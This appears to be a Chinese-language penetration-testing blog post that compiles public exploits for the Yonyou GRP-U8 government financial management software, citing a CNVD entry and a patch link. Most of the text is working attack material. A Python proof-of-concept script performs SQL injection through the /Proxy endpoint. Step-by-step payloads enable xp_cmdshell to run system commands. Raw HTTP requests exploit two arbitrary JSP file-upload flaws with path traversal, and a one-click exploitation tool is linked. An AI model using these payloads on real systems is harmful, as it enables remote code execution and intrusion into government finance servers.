用友GRP-U8行政事业财务管理软件漏洞

1- 前言

这两天在客户现场对其内网系统进行渗透时，遇到了用友GRP-U8，是用友GRP-U8R10行政事业财务管理软件（新政府会计制度专版）。于是从网上搜了相关漏洞，这里简单汇总下网上目前公开的漏洞及Payload和相关利用脚本。

2-用友GRP-U8介绍

用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业，基于云计算技术所推出的新一代产品，是我国行政事业财务领域专业的政府财务管理软件。根据目前网上公开的资料显示，该软件存在任意文件上传，SQL注入漏洞。

1-02  Proxy XXE-SQL注入

CNVD编号CNVD-2021-20211，用友GRP-U8存在SQL注入漏洞，攻击者可利用Mssql的exec xp_ cmdshell执行系统命令。

补丁信息：https://www.cnvd.org.cn/patchInfo/show/251301

一、POC脚本

import re 
import requests 
import sys 
 
if len(sys.argv) !=2: 
    print("Usage: python poc.py url") 
    print("example: python poc.py http://127.0.0.1:8080") 
    sys.exit(1) 
url = sys.argv[1] 
headers = { 
    "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36", 
    "Content-Type":"application/x-www-form-urlencoded", 
} 
def poc(url): 
    url = url +'/Proxy'
    print(url) 
    data ='cVer=9.8.0&dp=<?xmlversion="1.0" encoding="GB2312"?><R9PACKETversion="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATAformat="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATAformat="text">select @@version</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
    res = requests.post(url,headers=headers,data=data) 
    res = res.text 
    result_row =r'<ROW COLUMN1="(.*?)"'
    ROW = re.findall(result_row,res,re.S| re.M) 
    print(ROW[0]) 

if __name__=="__main__": 
    poc(sys.argv[1])

二、手工利用

验证POC：

POST /Proxy HTTP/1.1
Accept: *
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)
Host: {{Hostname}}
Content-type: application/x-www-form-urlencoded
Content-Length: 349
Connection: close

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select @@version</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>

通过SQL注入获取权限（开启xp_cmdshell，执行命令）：

1.查看当前数据库名称

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select db_name()</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>

2.开启xp_cmdshell操作，查询到当前数据库名称后，第一个包需要修改当前库名

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">use master</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'show advanced options',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'xp_cmdshell',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

3.执行命令

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell "whoami"</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

0x02  UploadFileData接口任意文件上传

一、第一种方式

POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=test.jsp&filename=1.jpg HTTP/1.1
Host: xxxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=xxxxxxxxxxxx
Content-Type: multipart/form-data
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Length: 170

------WebKitFormBoundary92pUawKc
Content-Disposition: form-data; name="myFile";filename="test.jpg"
<% out.println("test");%>
------WebKitFormBoundary92pUawKc--

上传后访问/R9iPortal/test.jsp

二、第二种方式

POST /UploadFileData?action=upload_file&&foldername=/..&filename=/test.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
Accept-Encoding: gzip
Content-Length: 194

-59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/png

<% out.println("test");%>
--59229605f98b8cf290a7b8908b34616b--

三、脚本一键梭哈

github项目地址：https://github.com/xanszZZ/YY_upfile

0x03  U8AppProxy 任意文件上传

POST /U8AppProxy?gnid=myinfo&id=saveheader&zydm=../../test HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=635F2271089E7A7E66F3F84824553DEE
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 01 Feb 2016 08:01:00 GMT
If-None-Match: W/"5732-1454313660000"
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
Accept-Encoding: gzip
Content-Length: 194

--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/png

<% out.println("test");%>
--59229605f98b8cf290a7b8908b34616b--

上传后访问/test.jsp